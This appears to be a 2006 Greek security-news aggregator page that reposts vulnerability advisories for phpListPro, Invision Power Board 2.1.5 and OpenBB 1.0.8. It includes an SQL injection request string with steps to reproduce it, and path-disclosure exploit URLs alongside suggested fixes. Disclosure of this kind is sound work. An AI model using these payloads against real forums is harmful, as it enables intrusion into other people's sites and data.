http://mybloggie.mywebland.com/


http://www.h4cky0u.org/advisories/HYSA-2006-008-mybloggie.txt

Από: domain-hosting.gr - 19/5/2006
Καμία απάντηση | Σχολίασε | Ψήφισε η καταχώρησε σε δίκτυο social news

Software: phpListPro
Version: <=2.01
Type: Multiple Remote File Include Vulnerability
Date: May, 8th 2006
Vendor: SmartISoft
Page: http://smartisoft.com
Risc: High

http://seclists.org/lists/bugtraq/2006/May/0152.html

Από: News-User - 9/5/2006
Καμία απάντηση | Σχολίασε | Ψήφισε η καταχώρησε σε δίκτυο social news

Invision Power Board v2.1.5 Remote SQL Injection

05/02/2006

nvision Power Board v2.1.5 Remote SQL Injection
Filename :- func_mod.php
Functionname :- post_delete()
Lines :- 89 To 209

Bug Found By :- Devil-00

Greetz :-
Rock Master ^ Hackers Pal ^ n0m4rcy ^
www.securtygurus.net

[Code]

if ( is_array( $id ) )
{
if ( count($id) > 0 )
{
$pid = " IN(".implode(",",$id).")";
}
else
{
return FALSE;
}
}
else
{
if ( intval($id) )
{
$pid = "=$id";
}
else
{
return FALSE;
}
}

[/CODE]

When $id = array .. the code don't check it if ( INTVAL )

[CODE]
if ( count($id) > 0 )
{
$pid = " IN(".implode(",",$id).")";
}
[/CODE]

Then We Can Do SQL Injection Here >>

[CODE]
$this->ipsclass->DB->simple_construct( array( 'select' => 'pid, topic_id', 'from' => 'posts', 'where' => 'pid'.$pid ) );
[/CODE]

And Here >>

[CODE]
$this->ipsclass->DB->simple_construct( array( 'select' => '*', 'from' => 'attachments', 'where' => "attach_pid".$pid ) );
[/CODE]

Cuz We Have 2 Querys With diffiernt Tabels Number We Can't Use UNION To Exploit :( Baaad :(

Exm. To Exploit

1- First Add 2 Post
2- Check It To Delete
3- Edit String Query By HTTPLiveHeader

[CODE]
act=mod&auth_key=2b71da21cbacba35ccf6fc04fe807d9a&st=0&selectedpids=-1) UNION SELECT 1,3/*&tact=delete
[/CODE]

http://seclists.org/lists/bugtraq/2006/May/0012.html

Από: News-User - 3/5/2006
Καμία απάντηση | Σχολίασε | Ψήφισε η καταχώρησε σε δίκτυο social news

OpenBB 1.0.8 Full Path Disclosure

OpenBB 1.0.8 Full Path Disclosure
Bug Found By :- Devil-00

Gr33tz :- Www.securitygurus.neT
Rock Master
Hackers Pal
n0m3rcy

-= 1-2 =-

Full Path Disclosure

Exploits :-
/OpenBB/misc.php?action=latest&pforums=D3vil-0x1
/OpenBB/member.php?action=online&&pforums=D3vil-0x1

Fix It :-

misc.php

Add This Line To '36' Line Number

[code]
$pforums = array(); # D3vil-0x1 Fix
[/code]

-------------------------------------

member.php

Add This Line To '759' Line Number

[code]
$pforums = array(); # D3vil-0x1 Fix
[/code]

http://seclists.org/lists/bugtraq/2006/May/0013.html

Από: News-User - 3/5/2006
Καμία απάντηση | Σχολίασε | Ψήφισε η καταχώρησε σε δίκτυο social news

http://forums.invisionpower.com/index.php?showtopic=213374

Από: News-User - 28/4/2006
Καμία απάντηση | Σχολίασε | Ψήφισε η καταχώρησε σε δίκτυο social news